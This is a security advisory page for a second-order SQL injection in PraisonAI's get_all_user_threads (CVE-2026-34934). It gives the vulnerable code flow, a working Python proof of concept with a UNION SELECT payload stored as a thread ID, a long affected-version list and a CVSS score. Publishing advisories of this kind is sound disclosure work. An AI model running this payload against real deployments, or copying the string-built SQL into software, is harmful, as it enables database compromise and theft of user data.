PYSEC-2026-470

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.


Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow: - Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents
Impacted products
Name purl
praisonai pkg:pypi/praisonai

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.55",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.59rc11",
        "0.0.59rc2",
        "0.0.59rc3",
        "0.0.59rc5",
        "0.0.59rc6",
        "0.0.59rc7",
        "0.0.59rc8",
        "0.0.59rc9",
        "0.0.6",
        "0.0.61",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.8",
        "0.0.9",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "1.0.0",
        "1.0.1",
        "1.0.10",
        "1.0.11",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.8",
        "1.0.9",
        "2.0.0",
        "2.0.1",
        "2.0.10",
        "2.0.11",
        "2.0.12",
        "2.0.13",
        "2.0.14",
        "2.0.15",
        "2.0.16",
        "2.0.17",
        "2.0.18",
        "2.0.19",
        "2.0.2",
        "2.0.20",
        "2.0.22",
        "2.0.23",
        "2.0.24",
        "2.0.25",
        "2.0.26",
        "2.0.27",
        "2.0.28",
        "2.0.29",
        "2.0.3",
        "2.0.30",
        "2.0.31",
        "2.0.32",
        "2.0.33",
        "2.0.34",
        "2.0.35",
        "2.0.36",
        "2.0.37",
        "2.0.38",
        "2.0.39",
        "2.0.40",
        "2.0.41",
        "2.0.42",
        "2.0.43",
        "2.0.44",
        "2.0.45",
        "2.0.46",
        "2.0.47",
        "2.0.48",
        "2.0.49",
        "2.0.5",
        "2.0.50",
        "2.0.51",
        "2.0.53",
        "2.0.54",
        "2.0.55",
        "2.0.56",
        "2.0.57",
        "2.0.58",
        "2.0.59",
        "2.0.6",
        "2.0.60",
        "2.0.61",
        "2.0.62",
        "2.0.63",
        "2.0.64",
        "2.0.65",
        "2.0.66",
        "2.0.67",
        "2.0.68",
        "2.0.69",
        "2.0.7",
        "2.0.70",
        "2.0.71",
        "2.0.72",
        "2.0.73",
        "2.0.74",
        "2.0.75",
        "2.0.76",
        "2.0.77",
        "2.0.78",
        "2.0.79",
        "2.0.8",
        "2.0.80",
        "2.0.81",
        "2.0.9",
        "2.1.0",
        "2.1.1",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.1",
        "2.2.10",
        "2.2.11",
        "2.2.12",
        "2.2.13",
        "2.2.14",
        "2.2.15",
        "2.2.16",
        "2.2.17",
        "2.2.18",
        "2.2.19",
        "2.2.2",
        "2.2.20",
        "2.2.21",
        "2.2.22",
        "2.2.24",
        "2.2.25",
        "2.2.26",
        "2.2.27",
        "2.2.28",
        "2.2.29",
        "2.2.3",
        "2.2.30",
        "2.2.31",
        "2.2.32",
        "2.2.33",
        "2.2.34",
        "2.2.35",
        "2.2.36",
        "2.2.37",
        "2.2.38",
        "2.2.39",
        "2.2.4",
        "2.2.40",
        "2.2.41",
        "2.2.42",
        "2.2.43",
        "2.2.44",
        "2.2.45",
        "2.2.46",
        "2.2.47",
        "2.2.48",
        "2.2.49",
        "2.2.5",
        "2.2.50",
        "2.2.51",
        "2.2.52",
        "2.2.53",
        "2.2.54",
        "2.2.55",
        "2.2.56",
        "2.2.57",
        "2.2.58",
        "2.2.59",
        "2.2.6",
        "2.2.60",
        "2.2.61",
        "2.2.62",
        "2.2.63",
        "2.2.64",
        "2.2.65",
        "2.2.66",
        "2.2.67",
        "2.2.68",
        "2.2.69",
        "2.2.7",
        "2.2.70",
        "2.2.71",
        "2.2.72",
        "2.2.73",
        "2.2.74",
        "2.2.75",
        "2.2.76",
        "2.2.77",
        "2.2.78",
        "2.2.79",
        "2.2.8",
        "2.2.80",
        "2.2.81",
        "2.2.82",
        "2.2.83",
        "2.2.84",
        "2.2.86",
        "2.2.87",
        "2.2.88",
        "2.2.89",
        "2.2.9",
        "2.2.90",
        "2.2.91",
        "2.2.93",
        "2.2.95",
        "2.2.96",
        "2.2.97",
        "2.2.98",
        "2.2.99",
        "2.3.0",
        "2.3.1",
        "2.3.10",
        "2.3.11",
        "2.3.12",
        "2.3.13",
        "2.3.14",
        "2.3.15",
        "2.3.16",
        "2.3.18",
        "2.3.19",
        "2.3.2",
        "2.3.20",
        "2.3.21",
        "2.3.22",
        "2.3.23",
        "2.3.24",
        "2.3.25",
        "2.3.26",
        "2.3.27",
        "2.3.28",
        "2.3.29",
        "2.3.3",
        "2.3.30",
        "2.3.31",
        "2.3.32",
        "2.3.33",
        "2.3.34",
        "2.3.35",
        "2.3.36",
        "2.3.37",
        "2.3.38",
        "2.3.39",
        "2.3.4",
        "2.3.40",
        "2.3.41",
        "2.3.42",
        "2.3.43",
        "2.3.44",
        "2.3.45",
        "2.3.46",
        "2.3.47",
        "2.3.48",
        "2.3.49",
        "2.3.5",
        "2.3.50",
        "2.3.51",
        "2.3.52",
        "2.3.53",
        "2.3.54",
        "2.3.55",
        "2.3.56",
        "2.3.57",
        "2.3.58",
        "2.3.59",
        "2.3.6",
        "2.3.60",
        "2.3.61",
        "2.3.62",
        "2.3.63",
        "2.3.64",
        "2.3.65",
        "2.3.66",
        "2.3.67",
        "2.3.68",
        "2.3.69",
        "2.3.7",
        "2.3.70",
        "2.3.71",
        "2.3.72",
        "2.3.73",
        "2.3.74",
        "2.3.75",
        "2.3.76",
        "2.3.77",
        "2.3.78",
        "2.3.79",
        "2.3.8",
        "2.3.80",
        "2.3.81",
        "2.3.82",
        "2.3.83",
        "2.3.84",
        "2.3.85",
        "2.3.86",
        "2.3.87",
        "2.3.9",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.5.4",
        "2.5.5",
        "2.5.6",
        "2.5.7",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.6.4",
        "2.6.5",
        "2.6.6",
        "2.6.7",
        "2.6.8",
        "2.7.0",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.8.9",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "3.0.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.0.7",
        "3.0.8",
        "3.0.9",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.5",
        "3.1.6",
        "3.1.7",
        "3.1.8",
        "3.1.9",
        "3.10.0",
        "3.10.1",
        "3.10.10",
        "3.10.11",
        "3.10.12",
        "3.10.13",
        "3.10.14",
        "3.10.15",
        "3.10.16",
        "3.10.17",
        "3.10.18",
        "3.10.19",
        "3.10.2",
        "3.10.20",
        "3.10.21",
        "3.10.22",
        "3.10.23",
        "3.10.24",
        "3.10.25",
        "3.10.26",
        "3.10.27",
        "3.10.3",
        "3.10.4",
        "3.10.5",
        "3.10.6",
        "3.10.7",
        "3.10.8",
        "3.10.9",
        "3.11.0",
        "3.11.1",
        "3.11.10",
        "3.11.11",
        "3.11.12",
        "3.11.13",
        "3.11.14",
        "3.11.2",
        "3.11.3",
        "3.11.4",
        "3.11.8",
        "3.11.9",
        "3.12.0",
        "3.12.1",
        "3.12.2",
        "3.12.3",
        "3.2.0",
        "3.2.1",
        "3.3.0",
        "3.3.1",
        "3.4.0",
        "3.4.1",
        "3.5.0",
        "3.5.1",
        "3.5.2",
        "3.5.3",
        "3.5.4",
        "3.5.5",
        "3.5.6",
        "3.5.7",
        "3.5.8",
        "3.5.9",
        "3.6.0",
        "3.6.1",
        "3.6.2",
        "3.7.0",
        "3.7.1",
        "3.7.2",
        "3.7.3",
        "3.7.4",
        "3.7.5",
        "3.7.6",
        "3.7.7",
        "3.7.8",
        "3.7.9",
        "3.8.0",
        "3.8.1",
        "3.8.10",
        "3.8.11",
        "3.8.12",
        "3.8.13",
        "3.8.14",
        "3.8.16",
        "3.8.17",
        "3.8.18",
        "3.8.19",
        "3.8.2",
        "3.8.20",
        "3.8.21",
        "3.8.22",
        "3.8.3",
        "3.8.4",
        "3.8.5",
        "3.8.6",
        "3.8.7",
        "3.8.8",
        "3.8.9",
        "3.9.0",
        "3.9.1",
        "3.9.10",
        "3.9.11",
        "3.9.12",
        "3.9.13",
        "3.9.14",
        "3.9.15",
        "3.9.16",
        "3.9.17",
        "3.9.18",
        "3.9.19",
        "3.9.2",
        "3.9.20",
        "3.9.21",
        "3.9.22",
        "3.9.23",
        "3.9.24",
        "3.9.25",
        "3.9.26",
        "3.9.27",
        "3.9.28",
        "3.9.29",
        "3.9.3",
        "3.9.30",
        "3.9.31",
        "3.9.32",
        "3.9.33",
        "3.9.34",
        "3.9.35",
        "3.9.4",
        "3.9.5",
        "3.9.6",
        "3.9.7",
        "3.9.8",
        "3.9.9",
        "4.0.0",
        "4.1.0",
        "4.2.0",
        "4.2.1",
        "4.2.2",
        "4.2.3",
        "4.2.4",
        "4.3.0",
        "4.3.1",
        "4.4.0",
        "4.4.10",
        "4.4.11",
        "4.4.12",
        "4.4.2",
        "4.4.3",
        "4.4.4",
        "4.4.5",
        "4.4.6",
        "4.4.7",
        "4.4.8",
        "4.4.9",
        "4.5.0",
        "4.5.1",
        "4.5.10",
        "4.5.11",
        "4.5.12",
        "4.5.13",
        "4.5.14",
        "4.5.15",
        "4.5.16",
        "4.5.18",
        "4.5.19",
        "4.5.2",
        "4.5.20",
        "4.5.21",
        "4.5.22",
        "4.5.23",
        "4.5.24",
        "4.5.25",
        "4.5.26",
        "4.5.27",
        "4.5.28",
        "4.5.29",
        "4.5.3",
        "4.5.30",
        "4.5.31",
        "4.5.32",
        "4.5.33",
        "4.5.34",
        "4.5.35",
        "4.5.36",
        "4.5.37",
        "4.5.38",
        "4.5.39",
        "4.5.40",
        "4.5.41",
        "4.5.42",
        "4.5.43",
        "4.5.44",
        "4.5.45",
        "4.5.46",
        "4.5.48",
        "4.5.49",
        "4.5.5",
        "4.5.51",
        "4.5.52",
        "4.5.54",
        "4.5.55",
        "4.5.56",
        "4.5.57",
        "4.5.58",
        "4.5.59",
        "4.5.6",
        "4.5.60",
        "4.5.62",
        "4.5.63",
        "4.5.64",
        "4.5.65",
        "4.5.67",
        "4.5.68",
        "4.5.69",
        "4.5.7",
        "4.5.70",
        "4.5.71",
        "4.5.72",
        "4.5.73",
        "4.5.74",
        "4.5.76",
        "4.5.77",
        "4.5.78",
        "4.5.79",
        "4.5.8",
        "4.5.80",
        "4.5.81",
        "4.5.82",
        "4.5.83",
        "4.5.85",
        "4.5.87",
        "4.5.88",
        "4.5.89",
        "4.5.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34934",
    "GHSA-9cq8-3v94-434g"
  ],
  "details": "## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n ---\n\n## Details\n\n**File Path:**  \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n \n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"(\u0027\" + \"\u0027,\u0027\".join([t[\"thread_id\"] for t in user_threads]) + \"\u0027)\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n    data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n    # Insert a valid thread\n    await data_layer.update_thread(\n        thread_id=\"valid_thread\", \n        user_id=\"attacker\"\n    )\n\n    # Inject malicious payload\n    payload = \"x\u0027) UNION SELECT name, null, null, \u0027valid_thread\u0027, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n    await data_layer.update_thread(\n        thread_id=payload, \n        user_id=\"attacker\"\n    )\n\n    # Trigger vulnerable function\n    result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n    for thread in result:\n        if getattr(thread, \u0027id\u0027, \u0027\u0027) == \u0027valid_thread\u0027:\n            for step in getattr(thread, \u0027steps\u0027, []):\n                print(getattr(step, \u0027id\u0027, \u0027\u0027))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n \nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents",
  "id": "PYSEC-2026-470",
  "modified": "2026-07-01T20:23:01.446489Z",
  "published": "2026-06-29T11:50:46.446329Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34934"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9cq8-3v94-434g"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…